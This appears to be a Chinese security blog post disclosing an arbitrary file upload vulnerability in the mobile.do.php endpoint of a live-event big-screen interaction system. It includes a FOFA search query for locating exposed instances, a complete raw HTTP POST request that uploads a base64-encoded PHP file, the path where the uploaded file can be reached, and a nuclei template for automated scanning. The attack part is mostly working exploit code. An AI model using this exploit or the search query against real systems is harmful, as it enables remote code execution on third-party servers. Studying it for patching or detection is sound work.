当前位置：首页 > article >正文

某华迪加现场大屏互动系统mobile.do.php任意文件上传

article 2024/12/25 1:45:08

免责声明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

漏洞描述

该系统是实现现场大屏互动，里面功能众多，但在mobile.do.php接口处存在任意文件上传漏洞

搜索语法

fofa

body="/wall/themes/meepo/assets/images/defaultbg.jpg" || title="现场活动大屏幕系统"

漏洞复现

在这里插入图片描述
payload

POST /mobile/mobile.do.php?action=msg_uploadimg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Length: 71

filetype=php&imgbase64=PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=

查看返回包
在这里插入图片描述
访问上传地址
http://ip/data//pic//demotest_yuhuainetwork_com//pic_173068521074867.php

nuclei

id: jinghuadi-Upload-any-file

info:
  name: 金华迪加现场大屏互动系统任意文件上传
  author: xl
  severity: Critical
  tags: tags

http:
  - raw:
      - |-
        POST /mobile/mobile.do.php?action=msg_uploadimg HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Connection: close
        Content-Length: 71

        filetype=php&imgbase64=PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - \u53d1\u9001\u6210\u529f
      - type: status
        status:
          - 200